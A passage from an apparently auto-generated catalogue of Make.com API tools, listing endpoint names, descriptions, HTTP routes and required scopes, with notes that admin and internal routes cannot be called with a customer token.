the user's app pin in the specified organization. Does NOT delete the user's module pins under this app — those rows survive so re-pinning the app restores them. Idempotent — unpinning a non-pinned app is a no-op. DELETE /api/v1/make/users/me/pinned-apps/{appName}. Scopes: apps:write. make_delete_users_me_pinned_apps_by_appname_modules_by_modulename (write, destructive) — Removes the user's module pin in the specified organization. Does not affect the parent app pin. Idempotent — unpinning a non-pinned module is a no-op. DELETE /api/v1/make/users/me/pinned-apps/{appName}/modules/{moduleName}. Scopes: apps:write. make_get_admin_apps_by_app_installation_history (read) — Returns the recorded installation attempt history for a single native app, ordered by most recent first. NOT CALLABLE with this connection's API token: every /admin route answers 403 "VPN access only" to any customer; it is on Make's internal network. GET /api/v1/make/admin/apps/{app}/installation-history. Scopes: admin:read, apps:read. make_get_admin_experiments_organization_by_organizationid (read) — Returns the active experiments configuration for the specified organization, as provided by the cashier service. NOT CALLABLE with this connection's API token: every /admin route answers 403 "VPN access only" to any customer; it is on Make's internal network. GET /api/v1/make/admin/experiments/organization/{organizationId}. Scopes: organizations:read. make_get_admin_install_apps_by_app_logs (read) — Get logs for given app. NOT CALLABLE with this connection's API token: every /admin route answers 403 "VPN access only" to any customer; it is on Make's internal network. GET /api/v1/make/admin/install/apps/{app}/logs. Scopes: admin:read, organizations:read. make_get_admin_organizations (read) — Gets the list of all organizations in the Make White Label product instance. The response contains all available information about all organizations in the Make White Label product instance. Use the `id`, `name` or `externalId` query parameters to limit the results to a specific organization or the `cols[]` parameter to get specific columns. NOT CALLABLE with this connection's API token: every /admin route answers 403 "VPN access only" to any customer; it is on Make's internal network. GET /api/v1/make/admin/organizations. Scopes: admin:read, organizations:read. make_get_admin_organizations_by_organizationid_billing_audit_logs (read) — Get list of billing audit logs for given organization. NOT CALLABLE with this connection's API token: every /admin route answers 403 "VPN access only" to any customer; it is on Make's internal network. GET /api/v1/make/admin/organizations/{organizationId}/billing-audit-logs. Scopes: admin:read, organizations:read. make_get_admin_organizations_by_organizationid_universal_discount_options (read) — Retrieves available universal discount options for the organization. NOT CALLABLE with this connection's API token: every /admin route answers 403 "VPN access only" to any customer; it is on Make's internal network. GET /api/v1/make/admin/organizations/{organizationId}/universal-discount-options. Scopes: admin:read, organizations:read. make_get_admin_organizations_lookup (read) — Looks up organizations by exact numeric ID or partial, case-insensitive name. Exactly one of `id` or `name` is required. Because organization names are not unique and are matched partially, this returns a capped list of minimal projections (`id`, `name`, `deleted`) used to navigate to the organization detail. Soft-deleted organizations are included. An empty list is returned when nothing matches. NOT CALLABLE with this connection's API token: every /admin route answers 403 "VPN access only" to any customer; it is on Make's internal network. GET /api/v1/make/admin/organizations/lookup. Scopes: admin:read, organizations:read. make_get_admin_system_settings_default_license (read) — Gets the default organization license for your Make White Label instance. Make uses the default organization license when you create a new organization without specifying the organization's license. NOT CALLABLE with this connection's API token: every /admin route answers 403 "VPN access only" to any customer; it is on Make's internal network. GET /api/v1/make/admin/system-settings/default-license. Scopes: admin:read, system:read. make_get_admin_teams (read) — Gets the list of teams in the organization with the specified `organizationId`. NOT CALLABLE with this connection's API token: every /admin route answers 403 "VPN access only" to any customer; it is on Make's internal network. GET /api/v1/make/admin/teams. Scopes: admin:read, teams:read. make_get_admin_users (read) — Gets the list of users in a team or an organization. NOT CALLABLE with this connection's API token: every /admin route answers 403 "VPN access only" to any customer; it is on Make's internal network. GET /api/v1/make/admin/users. Scopes: admin:read, user:read. make_get_admin_users_admins_roles (read) — Gets the list of available admin roles. Admin roles define the permissions that users have at the instance level in the Make White Label product. Refer to the user admin roles documentation (https://www.make.com/en/help/white-label/manage-organizations#instance-level-roles-1628394) for the full breakdown of the user admin roles permissions. NOT CALLABLE with this connection's API token: every /admin route answers 403 "VPN access only" to any customer; it is on Make's internal network. GET /api/v1/make/admin/users/admins-roles. Scopes: admin:read. make_get_admin_users_by_userid_affiliate_commission_info (read) — Retrieves general info about accumulated commissions of the specified user. NOT CALLABLE with this connection's API token: every /admin route answers 403 "VPN access only" to any customer; it is on Make's internal network. GET /api/v1/make/admin/users/{userId}/affiliate/commission-info. Scopes: admin:read, user:read. make_get_admin_users_by_userid_affiliate_commissions (read) — Retrieves detailed data about individual commisions of the specified user. NOT CALLABLE with this connection's API token: every /admin route answers 403 "VPN access only" to any customer; it is on Make's internal network. GET /api/v1/make/admin/users/{userId}/affiliate/commissions. Scopes: admin:read, user:read. make_get_admin_users_by_userid_affiliate_stats (read) — Retrieves graph data for commisions in the past year for the specified user. NOT CALLABLE with this connection's API token: every /admin route answers 403 "VPN access only" to any customer; it is on Make's internal network. GET /api/v1/make/admin/users/{userId}/affiliate/stats. Scopes: admin:read, user:read. make_get_admin_users_detail (read) — Retrieves a collection of all users in your Make White Label instance. Use the API call query parameters to limit the results to a user name or user email. NOT CALLABLE with this connection's API token: every /admin route answers 403 "VPN access only" to any customer; it is on Make's internal network. GET /api/v1/make/admin/users-detail. Scopes: admin:read, user:read. make_get_admin_users_lookup (read) — Looks up a single user by exact numeric ID or exact email match (case-insensitive). Deleted users are always included. NOT CALLABLE with this connection's API token: every /admin route answers 403 "VPN access only" to any customer; it is on Make's internal network. GET /api/v1/make/admin/users/lookup. Scopes: admin:read, user:read. make_get_affiliate_commission_info (read) — Retrieves general info about accumulated commissions of the current user. GET /api/v1/make/affiliate/commission-info. Scopes: user:read. make_get_affiliate_commissions (read) — Retrieves detailed data about individual commisions of the current user. GET /api/v1/make/affiliate/commissions. Scopes: user:read. make_get_affiliate_stats (read) — Retrieves graph data for commisions in the past year for the current user. GET /api/v1/make/affiliate/stats. Scopes: user:read. make_get_agents (read) — Retrieves a collection of agents for a company with a given ID. GET /api/v1/make/agents. Scopes: agents:read. make_get_agents_by_agentid (read) — Retrieves an agents for a agent with given ID. GET /api/v1/make/agents/{agentId}. Scopes: agents:read. make_get_ai_agents_v1_agents (read) — Retrieve a list of all agents. GET /api/v1/make/ai-agents/v1/agents. Scopes: ai-agents:read. make_get_ai_agents_v1_agents_by_agentid (read) — Retrieve an agent by its ID. GET /api/v1/make/ai-agents/v1/agents/{agentId}. Scopes: ai-agents:read. make_get_ai_agents_v1_contexts (read) — Retrieve a list of all context for an agent. GET /api/v1/make/ai-agents/v1/contexts. Scopes: ai-agents:read. make_get_ai_agents_v1_llm_providers (read) — Retrieve a list of all LLM providers. GET /api/v1/make/ai-agents/v1/llm-providers. Scopes: ai-agents:read. make_get_ai_agents_v1_llm_providers_by_providerid (read) — Retrieve details of a specific LLM provider by ID. GET /api/v1/make/ai-agents/v1/llm-providers/{providerId}. Scopes: ai-agents:read. make_get_ai_agents_v1_llm_providers_by_providerid_models (read) — Retrieve a list of models for a specific LLM provider by ID. GET /api/v1/make/ai-agents/v1/llm-providers/{providerId}/models. Scopes: ai-agents:read. make_get_ai_browser_context_setups_by_setupid (read) — Polls the status of a running browser context setup flow. Only the user who started the flow can read it. A flow that has expired, completed, or been cancelled responds with `404`. Available only when the `is_ai_browser_contexts_enabled` feature flag is enabled. GET /api/v1/make/ai-browser/context-setups/{setupId}. Scopes: keys:read. make_get_analytics_by_organizationid (read) — Gets analytics data for the specified organization. This feature is available only for organizations with the Enterprise plan. You can get analytics data only for organizations where you have the "Owner" organization role. Otherwise, you get the 403 error. The data entries in the response are sorted by the amount of operations used by a scenario in ascending order. Specify different sorting with the `sortBy` parameter. You can use query parameters (like `timeframe[dateFrom]`, `timeframe[dateTo]` or `teamId`) to refine the results and pagination to navigate through a large number of entries. Make keeps the analytics data for a maximum of 30 days for non-Enterprise plans and 60 days for Enterprise plans. The default time frame reflects the maximum available for your plan. GET /api/v1/make/analytics/{organizationId}. Scopes: analytics:read. make_get_audit_logs_by_organizationid_by_uuid (read) — Gets details of the audit log entry with the specified UUID. GET /api/v1/make/audit-logs/{organizationId}/{uuid}. Scopes: organizations:read. make_get_audit_logs_organization_by_organizationid (read) — Gets a list of all audit log entries for the specified organization. The audit log entries in the response are sorted by the `triggeredAt` property in descending order by default. You can use pagination to navigate through a large number of entries. You can get the audit log entries only for organizations in which you have the "Admin" or "Owner" roles. Otherwise, you get the 403 error. GET /api/v1/make/audit-logs/organization/{organizationId}. Scopes: organizations:read. make_get_audit_logs_organization_by_organizationid_filters (read) — Gets available audit logs filters for the organization. You can use the data in the response to filter audit log entries you get from the `GET /audit-logs/organization/{organizationId}` endpoint. GET /api/v1/make/audit-logs/organization/{organizationId}/filters. Scopes: organizations:read. make_get_audit_logs_team_by_teamid (read) — Gets a list of all audit log entries for the specified team. The audit log entries in the response are sorted by the `triggeredAt` property in descending order by default. You can use pagination to navigate through a large number of entries. You can get the audit log entries only for teams in which you have the "Team Admin" role. Otherwise, you get the 403 error. GET /api/v1/make/audit-logs/team/{teamId}. Scopes: organizations:read. make_get_audit_logs_team_by_teamid_filters (read) — Gets available audit logs filters for the team. You can use the data in the response to filter audit log entries you get from the `GET /audit-logs/team/{teamId}` endpoint. GET /api/v1/make/audit-logs/team/{teamId}/filters. Scopes: organizations:read. make_get_cashier_prices_by_priceid (read) — Get price detail. GET /api/v1/make/cashier/prices/{priceId}. Scopes: organizations:read. make_get_cashier_products (read) — Get list of cashier products. GET /api/v1/make/cashier/products. Scopes: organizations:read. make_get_cashier_vat_validation_patterns (read) — Proxies imt-cashier's VAT-ID format patterns (EU + Northern Ireland). Each entry is keyed by ISO 3166-1 alpha-2 country code (Northern Ireland is keyed under `GB`, Greece under `GR`) and contains: `prefix` — the VAT-ID prefix used in the full ID (equals the ISO code except `GB` → `XI` and `GR` → `EL`); `regex` — an anchored (`^…$`) regex matching the full VAT ID including the optional prefix, safe to use directly via `new RegExp(regex)`; `description` — a human-readable format hint; and `example` — an example VAT ID suitable as a placeholder. Intended for client-side VAT ID format validation. GET /api/v1/make/cashier/vat-validation/patterns. Scopes: organizations:read. make_get_connections (read) — Retrieves a collection of all connections for a team with a given ID. Returned connections are sorted by name in ascending order. GET /api/v1/make/connections. Scopes: connections:read. make_get_connections_by_connectionid (read) — Retrieves details of a connection with a given ID. GET /api/v1/make/connections/{connectionId}. Scopes: connections:read. make_get_connections_by_connectionid_editable_data_schema (read) — Gets a list of connection parameters that can be updated. You can update a connection with the API call `POST /connections/{connectionId}/set-data`. If the connection cannot be updated then the API call returns the error message "Cannot edit this connection." When this happens, create a new connection instead. GET /api/v1/make/connections/{connectionId}/editable-data-schema. Scopes: connections:read. make_get_consumptions_reports_by_organizationid_by_teamid (read) — List consumption reports for specified time range and organization. Endpoint is proxy for the Pacman API. Documentation is available at https://github.com/integromat/make-pacman/blob/master/openapi/openapi.json. NOT CALLABLE with this connection's API token: it requires `pacman:use`, which no Make API token can be minted with. GET /api/v1/make/consumptions/reports/{organizationId}/{teamId}. Scopes: organizations:read. make_get_consumptions_reports_totals_by_organizationid_by_teamid (read) — Returns aggregated consumption totals per source type for the requested period, scoped to an organization or a single team within it. Endpoint is proxy for the Pacman API. Documentation is available at https://github.com/integromat/make-pacman/blob/master/openapi/openapi.json. NOT CALLABLE with this connection's API token: it requires `pacman:use`, which no Make API token can be minted with. GET /api/v1/make/consumptions/reports/totals/{organizationId}/{teamId}. Scopes: organizations:read. make_get_credential_requests_apps_by_name_by_version_modules_with_credentials (read) — Retrieves all modules with credential requirements for a specific app and version. For each module, this endpoint returns: - Module identification (`id`, `name`, `label`) - Required credential type (e.g., `account:slack2`) - OAuth scopes required by the module - Whether the module is a hook-based trigger Custom/SDK Apps: To query custom (SDK) apps, prefix the app name with `app#` (URL-encoded as `app%23`). For example: `/credential-requests/apps/app%23my-custom-app/1/modules-with-credentials`. GET /api/v1/make/credential-requests/apps/{name}/{version}/modules-with-credentials. Scopes: apps:read. make_get_credential_requests_requests (read) — Retrieves a list of Credential Requests. GET /api/v1/make/credential-requests/requests. Scopes: credential-requests:read. make_get_credential_requests_requests_by_requestid (read) — Retrieves a single Credential Request. GET /api/v1/make/credential-requests/requests/{requestId}. Scopes: credential-requests:read. make_get_credential_requests_requests_by_requestid_detail (read) — Retrieves detail of a single Credential Request with associated credentials. This endpoint has been enhanced to include all credentials associated with the request in a single response, eliminating the need for additional API calls. GET /api/v1/make/credential-requests/requests/{requestId}/detail. Scopes: credential-requests:read. make_get_custom_property_structures (read) — Gets a list of custom properties structures in the organization. GET /api/v1/make/custom-property-structures. Scopes: custom-property-structures:read. make_get_custom_property_structures_by_custompropertystructureid_custom_property_structure_items (read) — Gets the list of structure items in the specified custom properties structure. Use the API call `GET /custom-property-structures?{organizationId}` to get the ID of the custom property structure. GET /api/v1/make/custom-property-structures/{customPropertyStructureId}/custom-property-structure-items. Scopes: custom-property-structures:read. make_get_data_stores (read) — Retrieves a collection of all data stores for a team with a given ID. Returned data stores are sorted by name in ascending order. GET /api/v1/make/data-stores. Scopes: datastores:read. make_get_data_stores_by_datastoreid (read) — Retrieves details of a data store with a given ID. GET /api/v1/make/data-stores/{dataStoreId}. Scopes: organizations:read. make_get_data_stores_by_datastoreid_data (read) — Retrieves a collection of all records from a data store with a given ID. Each returned record consists of the `key` (custom or automatically generated) and `data`. GET /api/v1/make/data-stores/{dataStoreId}/data. Scopes: datastores:read. make_get_data_structures (read) — Retrieves a collection of all data structures for a team with a given ID. Returned data structures are sorted by name in ascending order. GET /api/v1/make/data-structures. Scopes: udts:read. make_get_data_structures_by_datastructureid (read) — Retrieves a data structure with a given ID. GET /api/v1/make/data-structures/{dataStructureId}. Scopes: udts:read. make_get_debug_hq_zone (read) — Get config of current zone. GET /api/v1/make/debug/hq/zone. Scopes: organizations:read. make_get_devices (read) — Get a list of devices of a given team. GET /api/v1/make/devices. Scopes: devices:read. make_get_devices_by_deviceid (read) — The ID can be id or udid. GET /api/v1/make/devices/{deviceId}. Scopes: devices:read. make_get_devices_by_deviceid_incomings (read) — Required scope: devices:read. GET /api/v1/make/devices/{deviceId}/incomings. Scopes: devices:read. make_get_devices_by_deviceid_incomings_by_incomingid (read) — Required scope: devices:read. GET /api/v1/make/devices/{deviceId}/incomings/{incomingId}. Scopes: devices:read. make_get_devices_by_deviceid_incomings_stats (read) — Required scope: devices:read. GET /api/v1/make/devices/{deviceId}/incomings/stats. Scopes: devices:read. make_get_devices_by_deviceid_outgoings (read) — Required scope: devices:read. GET /api/v1/make/devices/{deviceId}/outgoings. Scopes: devices:read. make_get_devices_by_deviceid_outgoings_by_outgoingid (read) — Required scope: devices:read. GET /api/v1/make/devices/{deviceId}/outgoings/{outgoingId}. Scopes: devices:read. make_get_dlqs (read) — Retrieves the list of incomplete executions of the specified scenario. Supports optional server-side filters — combine any of them to narrow down the results. GET /api/v1/make/dlqs. Scopes: dlqs:read. make_get_dlqs_by_dlqid (read) — Gets detail of the specified incomplete execution. GET /api/v1/make/dlqs/{dlqId}. Scopes: dlqs:read. make_get_dlqs_by_dlqid_blueprint (read) — Gets the blueprint of the scenario that caused the incomplete execution. GET /api/v1/make/dlqs/{dlqId}/blueprint. Scopes: dlqs:read. make_get_dlqs_by_dlqid_bundle (read) — Gets bundles that caused the incomplete execution. GET /api/v1/make/dlqs/{dlqId}/bundle. Scopes: dlqs:read. make_get_dlqs_by_dlqid_logs (read) — Gets data about attempts to resolve an incomplete execution. GET /api/v1/make/dlqs/{dlqId}/logs. Scopes: dlqs:read. make_get_dlqs_by_dlqid_logs_by_executiondlqid (read) — Gets detail of the specified incomplete execution log. GET /api/v1/make/dlqs/{dlqId}/logs/{executionDlqId}. Scopes: dlqs:read. make_get_enums_apps_review_statuses (read) — Gets the list of statuses that Make assigns to custom apps. - `requestAccepted`: Make has received the request for a custom app review. - `inProgress`: The custom app review is in progress. - `feedbackSent`: The Make app developers have sent their feedback to the developer of the custom app. - `completed`: - `waitingForRelease`: - `declined`: The custom app publishing has been declined by Make. The reasons for that could be:. GET /api/v1/make/enums/apps-review-statuses. Scopes: organizations:read. make_get_enums_countries (read) — Gets the list of countries and their `countryId` values in the `id` column. The `countryId` is a required parameter when you create a new organization with the API call `POST /organizations`. GET /api/v1/make/enums/countries. Scopes: organizations:read. make_get_enums_imt_regions (read) — Gets the list of Make regions and their `regionId` values in the `id` column. The `regionId` is a required parameter when you create a new organization with the API call `POST /organizations`. GET /api/v1/make/enums/imt-regions. Scopes: organizations:read. make_get_enums_imt_zones (read) — Gets the list of Make zones and their `zoneId` values in the `id` column. The `zoneId` is a required parameter when you create a new organization with the API call `POST /organizations`. GET /api/v1/make/enums/imt-zones. Scopes: organizations:read. make_get_enums_languages (read) — Gets the list of languages and their language codes. GET /api/v1/make/enums/languages. Scopes: organizations:read. make_get_enums_locales (read) — Gets the list of locales and their `localeId` values and locale codes. GET /api/v1/make/enums/locales. Scopes: organizations:read. make_get_enums_module_types (read) — Gets the list of module types. GET /api/v1/make/enums/module-types. Scopes: organizations:read. make_get_enums_organization_features (read) — Gets the list of all existing organization features and their descriptions. GET /api/v1/make/enums/organization-features. Scopes: organizations:read. make_get_enums_timezones (read) — Gets the list of timezones and their `timezoneId` values. GET /api/v1/make/enums/timezones. Scopes: organizations:read. make_get_enums_us_states (read) — Gets the list of US states and their `id` values along with the two-letter state `code`. GET /api/v1/make/enums/us-states. Scopes: organizations:read. make_get_enums_user_api_token_scopes (read) — Gets the list of all of the existing user API token scopes. For more information about the user API scopes refer to the Authentication section (../../authentication/api-scopes-overview.md). GET /api/v1/make/enums/user-api-token-scopes. Scopes: organizations:read. make_get_enums_user_email_notifications (read) — Gets the list of available email notification settings and their `notificationId` values. The language of the notification settings descriptions is set according to user language settings by default. You can specify a different language for the notification settings descriptions with the `language` parameter. GET /api/v1/make/enums/user-email-notifications. Scopes: organizations:read. make_get_enums_user_features (read) — Gets the list of all existing user features and their descriptions. GET /api/v1/make/enums/user-features. Scopes: organizations:read. make_get_enums_variable_types (read) — Retrieves the mapping of custom variable types and their `typeId` values. GET /api/v1/make/enums/variable-types. Scopes: organizations:read. make_get_execution_capacity_by_organizationid (read) — Returns historical parallel execution usage metrics for an Organization over a time range, aggregated into samples at a fixed rollup interval. The sample with the highest capacity utilization is picked for each time interval. GET /api/v1/make/execution-capacity/{organizationId}. Scopes: organizations:read. make_get_execution_capacity_by_organizationid_live (read) — Returns a single, real-time snapshot of parallel execution slot usage for an Organization — how many execution slots are currently acquired per scenario, the total slots in use, and the Organization's slot limit. Unlike the historical metrics endpoint, this reflects the live state at the moment of the request. GET /api/v1/make/execution-capacity/{organizationId}/live. Scopes: organizations:read. make_get_functions (read) — Retrieves a list of custom functions available in the team. The response contains `id`, `name`, `description` and a brief updates history of all custom functions available in the team. Check availability of the custom functions feature with the API call `GET /organizations/{organizationId}` for the organization to which the team belongs. If the response contains `"customFunctions": true` pair in the `license` object then you have access to the custom functions feature. Refer to the Make pricing page (https://www.make.com/en/help/general/pricing-parameters) for Make pricing plans overview. GET /api/v1/make/functions. Scopes: functions:read. make_get_functions_by_functionid (read) — Gets detailed information about a custom function. The response contains function `name`, `code`, a list of scenarios which use the custom function and the custom function's history of updates. GET /api/v1/make/functions/{functionId}. Scopes: functions:read. make_get_functions_by_functionid_history (read) — Gets history of updates of the specified custom function. The response contains a list of code changes, the change author and date when the author made the change. GET /api/v1/make/functions/{functionId}/history. Scopes: functions:read. make_get_hooks (read) — Retrieves a collection of all hooks for a team with a given ID. Returned hooks are sorted by ID in ascending order by default. Use `pg[sortBy]` to sort by `name` or `hookName`. GET /api/v1/make/hooks. Scopes: hooks:read. make_get_hooks_by_hookid (read) — Retrieves details of a hook with a given ID including hooks data. GET /api/v1/make/hooks/{hookId}. Scopes: hooks:read. make_get_hooks_by_hookid_incomings (read) — Retrieves a list of webhook queue items waiting for processing with the specified webhook. The request response contains: - the incoming payload hash - incoming data scope - the size of the data in bytes - timestamp of the moment when the data were placed in the processing queue. GET /api/v1/make/hooks/{hookId}/incomings. Scopes: hooks:read. make_get_hooks_by_hookid_incomings_by_incomingid (read) — Retrieves detail information about the specified webhook queue item. You can get the webhook queue item ID value with the API call `GET /hooks/{hookId}/incomings`. GET /api/v1/make/hooks/{hookId}/incomings/{incomingId}. Scopes: hooks:read. make_get_hooks_by_hookid_incomings_stats (read) — Gets webhook processing queue stats. The response contains the number of items in the webhook queue and the webhook queue limit. GET /api/v1/make/hooks/{hookId}/incomings/stats. Scopes: hooks:read. make_get_hooks_by_hookid_logs (read) — Retrieves a list of the specified webhook execution logs. Use the `to` and `from` parameters to filter the returned logs. The response contains: - `statusId`: the status of the webhook execution; `1` means successful execution, `3` means failed execution - `loggedAt`: the moment when Make created the log - `id`: the ID of the webhook execution log. GET /api/v1/make/hooks/{hookId}/logs. Scopes: hooks:read. make_get_hooks_by_hookid_logs_by_logid (read) — Retrieves the specified webhook execution log. The response contains: - `statusId`: the status of the webhook execution; `1` means successful execution, `3` means failed execution - `loggedAt`: the moment when Make created the log - `id`: the ID of the webhook execution log - `data`: information about the request, header, and payload sent to the webhook. Some webhooks don't return the `data` object due to their implementation. Most common examples include instant triggers for Slack, Zoom, Intercom and Facebook lead ads apps. GET /api/v1/make/hooks/{hookId}/logs/{logId}. Scopes: hooks:read. make_get_hooks_by_hookid_ping (read) — Determines if a hook with a given ID is active and retrieves its properties that provide you with the address of the hook and inform if the hook is attached, what is its learning status, and if it was not used for a long time. GET /api/v1/make/hooks/{hookId}/ping. Scopes: hooks:read. make_get_hq_sanity_check (read) — Get sanity check. NOT CALLABLE with this connection's API token: the route is not served on the public API host. GET /api/v1/make/hq/sanity-check. Scopes: organizations:read. make_get_imt_apps (read) — Returns the apps catalog used by the scenario editor's app search. Two response shapes are supported via the `scoredSearch` query flag: - Default (no `scoredSearch`) — flat list of `SearchAppVersion` entries (one per native/SDK package) plus `AddonApp` entries. - `scoredSearch=true` — apps are scored against zone-level and team-level usage to rank common picks higher. Each app aggregates its versions and modules under `versions[].modules[]`, and `versions[].groups[]` carries the rendered grouping for the UI. The scored response is transformed before being returned: 1. Group normalization — `versions[].groups` is normalized so the response always exposes a well-formed grouping. Authored groupings with fewer than 2 groups are discarded and replaced with per-type default groups (`'actions'`, `'triggers'`, …); otherwise authored groups are preserved and orphan modules (those not referenced by any group) are appended to per-type defaults. 2. Module reorganization — modules can be copied or moved across apps according to product-managed rules. A relocated module appears in the target app's `versions[].modules[]` carrying `appName`, `appVersion`, and `theme` fields that point at its source package. The frontend must use these fields (when present) to load the correct source manifest and render the module in its original app's branding, because a module's unique identity is `(parentApp.name, module.name)`. GET /api/v1/make/imt/apps. Scopes: apps:read. make_get_imt_apps_by_name_by_version_modules_with_credentials (read) — Deprecated. Use `GET /credential-requests/apps/{name}/{version}/modules-with-credentials` instead. This endpoint continues to work but will be removed in a future release. Retrieves all modules with credential requirements for a specific app and version. For each module, this endpoint returns: - Module identification (`id`, `name`, `label`) - Required credential type (e.g., `account:slack2`) - OAuth scopes required by the module - Whether the module is a hook-based trigger Custom/SDK Apps: To query custom (SDK) apps, prefix the app name with `app#` (URL-encoded as `app%23`). For example: `/imt/apps/app%23my-custom-app/1/modules-with-credentials`. DEPRECATED by Make; prefer the non-deprecated sibling. GET /api/v1/make/imt/apps/{name}/{version}/modules-with-credentials. Scopes: apps:read. make_get_imt_apps_meta (read) — All verified and custom apps, that are available to current user or selected organisation. GET /api/v1/make/imt/apps-meta. Scopes: apps:read. make_get_imt_endpoints_usable (read) — Returns the catalog of app endpoints a team can actually call right now, considering both the apps available to the team's organization and the connections (accounts) that exist in the team. Covers both native (compiled) packages and SDK apps; results are grouped by package and version. An endpoint is included when: - its app is available to the team's organization (installed / public), and - either it requires no connection at all (no attached account — usable without authentication), or the team has at least one connection of a matching account type whose granted OAuth scopes cover the scopes the endpoint requires. For each returned endpoint, `credentialsRequired` indicates whether the endpoint needs a connection at all, and `credentialsAvailable` lists the concrete connections in the team that satisfy it (empty for endpoints that need no connection). Private and deprecated endpoints are excluded, except that the app's author always sees their own (non-public and deprecated) endpoints. By default the caller's pending annotation changes are reflected for endpoints of apps they author. DEPRECATED by Make; prefer the non-deprecated sibling. GET /api/v1/make/imt/endpoints-usable. Scopes: apps:read. make_get_imt_forms_endpoints_by_app_by_version_by_endpoint (read) — Returns an IMT Form for testing an SDK (`app#name`) or native app Endpoint. Requires TEAM_VIEW for the supplied team (ORGANIZATION_VIEW for admin requests), runtime app access for SDK apps, and the endpoint-execution feature flag. Native endpoints are resolved directly, including private and deprecated definitions. SDK authors see pending input, attached-account and scope edits; other callers see published values. The required `connectionId` account field is omitted when there are no attached accounts. Its `options.scope` maps each resolved account type (including SDK aliases) to that endpoint's required OAuth scopes. Native account types can require different scopes. Connection-default scope injection remains in the existing connection backend flow. `input.spec` contains the endpoint input fields, expanded from JSON Schema where supported, and is always present, including when empty. Hidden fields preserve the execution coordinates and authorized team. Version lookup and submission use the numeric major version. The Test button submits the complete JSON values directly to POST /endpoints/execute, without an RPC data wrapper. The response omits multipart because this form uses JSON. DEPRECATED by Make; prefer the non-deprecated sibling. GET /api/v1/make/imt-forms/endpoints/{app}/{version}/{endpoint}. Scopes: imt-forms:read. make_get_internal_config_runtime (read) — Returns the runtime configuration derived from the current zone and API configuration: the host to use, the OAuth redirect base, redirect/static domains, default locale, support contact, and brand. NOT CALLABLE with this connection's API token: the /internal plane is not served on the public API host. GET /api/v1/make/internal/config/runtime. Scopes: organizations:read. make_get_internal_data_structures_by_datastructureid (read) — Retrieves a single data structure (UDT) by id, including its spec. Intended for service-to-service callers (ISC JWT) that do not carry user identity. The team-scoped, permission-checked variant is `GET /data-structures/{dataStructureId}`. NOT CALLABLE with this connection's API token: the /internal plane is not served on the public API host. GET /api/v1/make/internal/data-structures/{dataStructureId}. Scopes: organizations:read. make_get_internal_devices_enrichments (read) — Retrieves basic enrichment data for a list of device IDs. This endpoint is designed for internal services that need to enrich their data with device information including device ID, UDID, and associated team ID. NOT CALLABLE with this connection's API token: the /internal plane is not served on the public API host. GET /api/v1/make/internal/devices/enrichments. Scopes: organizations:read. make_get_internal_organizations (read) — Retrieves details for specified organizations by their IDs. You can specify which columns to return using the `cols[]` query parameter. If `cols[]` is not provided, all available details for the organizations are returned. NOT CALLABLE with this connection's API token: the /internal plane is not served on the public API host. GET /api/v1/make/internal/organizations. Scopes: organizations:read. make_get_internal_organizations_by_organizationid_internal_organization (read) — Returns the canonical execution-time organization projection used by scenario blueprint finalization and RPC workers. Values are derived from `users.organization.license` and `users.organization.product_flags` via `scenarios.blueprint_finalize_internal_organization`. NOT CALLABLE with this connection's API token: the /internal plane is not served on the public API host. GET /api/v1/make/internal/organizations/{organizationId}/internal-organization. Scopes: organizations:read. make_get_internal_organizations_by_organizationid_paused (read) — Retrieves the pause status of the organization with the specified `organizationId`. NOT CALLABLE with this connection's API token: the /internal plane is not served on the public API host. GET /api/v1/make/internal/organizations/{organizationId}/paused. Scopes: organizations:read. make_get_internal_private_spaces_lookup (read) — Finds the private space (single-user team) a user owns within an organization. When `accountName` is given, `hasAccount` in the response reports whether the space already has a `users.companyAccount` row with that `account_name` — this lets a caller avoid re-creating a connection that already exists. When `accountName` is omitted, `hasAccount` is `null` ("not evaluated"), not `false` — a caller that doesn't ask for the check should not read `false` as "checked and absent". NOT CALLABLE with this connection's API token: the /internal plane is not served on the public API host. GET /api/v1/make/internal/private-spaces/lookup. Scopes: organizations:read. make_get_internal_scenarios_executions (read) — Get scenario executions list. NOT CALLABLE with this connection's API token: the /internal plane is not served on the public API host. GET /api/v1/make/internal/scenarios/executions. Scopes: scenarios:read. make_get_internal_scenarios_list_for_team (read) — Returns a list of scenarios belonging to a team for ISC consumers (e.g. make-adapter). Requires a valid ISC JWT signed by the caller's shared secret. Full mode (no `updatedSince`): returns all non-deleted, non-tool scenarios. Delta mode (`updatedSince` provided as epoch-ms): returns every scenario whose `lastEdit` is >= that timestamp, including soft-deleted ones (`isDeleted: true`). Soft-deletes bump `lastEdit`, so deletions ride the same delta response without a separate reconcile pass. NOT CALLABLE with this connection's API token: the /internal plane is not served on the public API host. GET /api/v1/make/internal/scenarios/list-for-team. Scopes: organizations:read. make_get_internal_sdk_apps_by_appname_by_appversion_access (read) — Reports whether the SDK app version has an `apps.access` row for the organization — the runtime gate the Executor checks before running one of the app's Endpoints, because that execution is billed to this organization. Deliberately stricter than the `apps.app_check_access` routine used elsewhere: authorship of the app, its `opensource` flag and admin rights all grant no pass. Only an explicit installation in this organization counts. A missing installation is reported as `installed: false` with a `200`, not a `403` — the caller owns the resulting status and message, which is what lets the Executor name both the app and the organization in its own error. The organization's deletion state is not checked: `apps.access` keeps its row when an organization is soft-deleted, so a caller that cares must check that separately. NOT CALLABLE with this connection's API token: the /internal plane is not served on the public API host. GET /api/v1/make/internal/sdk/apps/{appName}/{appVersion}/access. Scopes: organizations:read. make_get_internal_settings (read) — Retrieves details for specified organizations by their IDs. You can specify which columns to return using the `cols[]` query parameter. If `cols[]` is not provided, all available details for the organizations are returned. NOT CALLABLE with this connection's API token: the /internal plane is not served on the public API host. GET /api/v1/make/internal/settings. Scopes: organizations:read. make_get_internal_teams_by_teamid_connections_exists (read) — Reports whether the team already has a `users.companyAccount` row with the given `accountType` (the `account_name` column). Lets a caller check before calling `POST /internal/teams/{teamId}/connections`, reducing (not eliminating) the chance of a duplicate — this check and a later create are not atomic, and `users.companyAccount` has no unique constraint on `(company_id, account_name)`. Best-effort, not a guarantee: a caller that must guarantee at most one connection needs its own coordination on top of this. NOT CALLABLE with this connection's API token: the /internal plane is not served on the public API host. GET /api/v1/make/internal/teams/{teamId}/connections/exists. Scopes: organizations:read. make_get_internal_teams_by_teamid_paused (read) — Retrieves the pause status of the team with the specified `teamId`. NOT CALLABLE with this connection's API token: the /internal plane is not served on the public API host. GET /api/v1/make/internal/teams/{teamId}/paused. Scopes: organizations:read. make_get_internal_users_by_userid_features (read) — Retrieves the features enabled for a specific user by their `userId`. This endpoint is for internal service-to-service communication using ISC authorization. NOT CALLABLE with this connection's API token: the 